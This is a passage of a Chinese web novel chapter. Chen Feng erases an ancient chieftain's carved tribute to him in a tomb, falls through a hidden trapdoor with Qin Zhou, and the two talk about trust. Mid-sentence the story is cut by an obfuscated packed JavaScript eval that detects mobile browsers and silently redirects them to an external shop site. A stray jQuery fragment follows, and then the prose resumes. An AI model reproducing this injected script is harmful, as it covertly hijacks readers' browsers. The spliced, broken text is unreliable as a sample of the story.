墙壁上的刻纹深深浅浅,横七竖八的。
古文字本就不好辨认,又经过了日月的腐蚀,看起来实在是费劲。
陈风无意更改萨沙耳留下的别的话,只想把和自己相关的抹掉。
可这位老族长的“遗言”实在有些多。
密密麻麻的布满了这一处。
陈风闭了闭眼,又重新睁开。仔细看了半天,他的眼睛干涩得很。
“北罗遗……少,岚……心…良为……夏沙……”
北罗河遗失了属于它的子民,但上天派来了像山间雾气一般润物无声的岚。岚心地善良,帮助了夏沙。
陈风终于找到了相关的话。
他当时怎么没发现萨沙耳话这么多呢,絮絮叨叨地说了这么一大堆。
在这里刻字的人也挺累的吧?
陈风怀疑刻得这么低就是因为字太多了坐着刻比较省力。
他一边快速辨认着,一边在心里不着边际地想。
黑夜铺成他的长发,繁星点缀他的眼睛……
又是一大段赞美之词。
陈风不忍直视,萨沙耳,你的滤镜有点重了。
陈风果断拿起一块石头,将涉及他的这一段都给磨掉了。
秦州听到石块摩擦声,将视线收回到了陈风身上,盯着他正在用力的手。
半晌,秦州轻声念道:“……仙人喜歌舞?”
陈风顿住,停下了正在研磨的手,看向下一句。
正是秦州念的这句话。
刻字的人似乎是怕别人看不懂,还在这句话旁边贴心地加了图,简单但形象:
一群火柴小人手拉手,围着中间的人转圈。
陈风想起来了。
那时已经是行程过半了,他和萨沙耳在沟通后续怎么走。
他们语言不通,说话时总是连说带画,手足并用。
族里的小孩子大概是觉得有趣,一起学着萨沙耳的样子,围着他一边转圈圈一边手舞足蹈地比划。
后来就成了习惯,每到歇脚处,孩子都会兴冲冲地跑过来绕圈圈。
这大概就是“仙人喜歌舞”的由来了,但陈风觉得这句话应该改成“孩童喜歌舞”。
他指着火柴小人们,张口否认,“不是我喜欢歌舞,是小朋友们喜欢跳。 ”
陈风指着旁边的图,跟秦州解释了原因。
秦州听得很认真。
那副画面仿佛近在眼前:
长发的陈风被一群小朋友围着跳舞。
表情大概就像现在一样,哭笑不得,又带着妥协。
“你说,萨沙耳不会是故意让人刻了这么多东西吧?”
陈风看着那副画,放下了石头。
.
等到山已经近在眼前时,陈风想,是时候走了。
他悄悄离开了队伍。
直到傍晚,小孩们手拉手,来找“仙人”跳舞时,才发现陈风已经不在了。
孩子们着急忙慌地去寻族长爷爷,告诉萨沙耳,他们找不到仙人了!
“仙走……无以报,不敢违……”
仙人已经走了,我没有什么能够回报仙人的。仙人不让我告诉族人他的存在,不敢违背仙人的意愿。
秦州继续往后读。
“勿忘,遂记……幸读,记者不认,仙安。”
但我不能忘记,于是记录了下来。刻字的人不认得这些,若有幸被仙人看到了,请仙人放心。
“望仙观,无恨。”
希望仙人能看到,那就没有遗憾了。
最后一行字,结束。
所以,刻了这么多,就是想让一个不一定能看到的人看到。
一份跨越千年岁月的感恩,陈风眨眨眼,又想叹气了。
歪打正着,他还确实是看到了。
“你读的都挺标准。”
陈风朝秦州看了一眼,秦州看起来对这些古文字很熟悉,读的都没有错。
只有一个问题,陈风的目光又回到了那副“火柴小人跳舞图”上。
“萨沙耳的意思是刻字的人是不认识字的,那这句旁边的画是谁画的呢?”
字可以是先用炭笔写在墙上,再用锐石刻上的。
但是这幅画?
陈风伸出食指,分别摸了摸刻字和那幅画。
不像是描着图刻出来的。
“看这纂刻的力度不像是同一个人刻的。”秦州观察后得出结论。
“确实,而且字和画被刻上去的时间也不统一。”
陈风皱起了眉,从腐蚀痕迹上来看,字是先有的,画是后来才被刻上的。
“会不会是菲利尔刻的?”陈风猜测。
说完陈风又自己否定了自己,“不对,菲利尔不像这么有童心的人。”
他盯着画继续沉思:还有谁会来到这里?
陈风灵光一闪,一下子从地上站了起来,摸着下巴,看向秦州,目光炯炯。
“是不是你画的?”
还来过这里的人不就是秦州吗?
至于秦州说他去年在这里出游过,这个“去年”陈风觉得存疑。
即便去年是真的,也不能否认秦州以前没来过这里。
听到这个答案,秦州失笑,“不是我。”
陈风仍保持怀疑,“可是除了菲利尔,还知道这里的不就是你了吗?”
“我去年来这里时,这幅画就已经存在了。”秦州解释。
“这样……”陈风有点失望,但又随即想到了什么。
“怪不得你在沙漠的时候就想着带我来这里了,你当时就把这些和我联想起来了吧?”陈风指指墙壁。
“那你不本来就知道我要找的东西在洞穴的哪里了,进来后怎么不直接提醒我?”陈风继续追问。
不等秦州开口,陈风又语气肯定道:“关于这个墓穴,你肯定还有东西没有告诉我。”
这样一连串想明白后,陈风给自己搞郁闷了。
“我发现你总是这样,你就不能把东西一次性都告诉我吗?总要等我自己发现,然后挤牙膏一样慢慢问,你才会回答。你是不信任我吗?”
话说完后,陈风才意识到一点不妥。
他有些懊恼地咬住下唇。
他也不知道为什么,面对秦州时,他总是控制不住脾气,他的耐心都去哪里了?
怎么什么话到嘴边都说得出来。
人家明明也不欠他什么。
连“朋友”二字也只是随口糊弄的一句话而已。
人家为什么要信任他?
陈风闭闭眼,他还想要跟着对方,怎么能发脾气。陈风为自己刚才问的问题感到一阵后悔,低下头,懊恼地后撤了一步。
“小心!”
后撤的脚不受控制地朝侧边一歪。
陈风想起了自己刚才随手放在地上的石块。
糟糕。
陈风忙伸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732730|208365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出手控制平衡,还好身后就是墙壁,还不至于摔倒。陈风顺利扶住了墙壁。
然而,还没等他松一口气。
“咔哒—”
什么声音?
陈风没来得及思考,只觉得右手按到了一块凹陷,他连忙要把手移到旁边的墙壁上。
正要借力站稳。
身后的整块墙壁措不及防地出现了向后倒的趋势。
已经开始随着墙壁向后倾倒的身体没有机会站稳了,陈风只能寄希望于下坠的距离够他转过身撑住地。
“嗯!”
陈风闷哼一声。
手腕被攥住,腰部随之一紧。
他被捞进了一个温热的怀中。
与此同时,是一阵下坠感。
陈风下意识闭上眼睛,心里还不忘腹诽,谁能告诉他,一个历史这么久远的墓穴里,怎么会出现机关。
他还就刚好按在了机关上。
真是屋漏偏逢连夜雨。
下坠时间太短,四周又是一片漆黑,陈风还没来得及准备好落地,就传来了身体与地面接触的碰撞声。
陈风睁开眼睛。
这不是秦州第一次抱他了。
他们刚见面的时候,似乎也是这样,他被抱在怀中,从海里被捞了上来。
但现在情况要惨得多。
意识到拿人当了肉垫,陈风赶紧摸索着想从秦州身上起来。
“嘶”
从上面摔下来时,秦州都没有吭声,被陈风不知轻重地这么一压,反而发出了声音。
“你没事吧?”
陈风不敢再使劲,直接朝旁边一滚。
这么一滚,陈风才察觉他的左手手腕还被秦州握住着。
“没事。”
手腕上的手松了些,但没放开。
秦州声音有些哑,陈风有些着急。
虽然坠落高度他估摸着也就三四米,但撑不住身上还压了个他。
“你真没事吗?”陈风右手从兜里掏出了手机。
光照在脸上,秦州下意识眯了眯眼。
“真没事。”
秦风左手一撑地,从地上坐了起来。
陈风这才把手机光从秦州身上移开,向周围照去。
“没有不信任你。”
陈风的动作顿住。
他以为从上面摔下来,刚刚说过的话就能翻篇了呢。
眼下听到信任不信任的话,他觉得有些尴尬。
“对不起,我刚刚有些着急了。你别在意我说的话。”张张嘴,陈风好容易才组织好语言,道了歉。
“是我的问题。”秦州晃了晃陈风的手。
陈风感觉心脏好像被轻轻挠过似的。
“我不应该在知道你没有恶意的情况下去试探你。我……会改掉这个习惯。”
等等,试探?
陈风刚刚还觉得酸涩的心脏立马好了。
“你还在试探我?”
“对不起,……我还没习惯有一个可以说真话的人。”
秦州看着陈风瞪起来的眼睛,声音变低了一些。
没有习惯有一个可以说真话的人?
陈风的气来得快,走得更快。
他总是一个人,倒没怎么觉得。
可秦州不一样,他在基地里,应该有很多能力者,可面对那些能力者,他还是要隐瞒自己长生种的身份。
那他岂不是经常要骗人。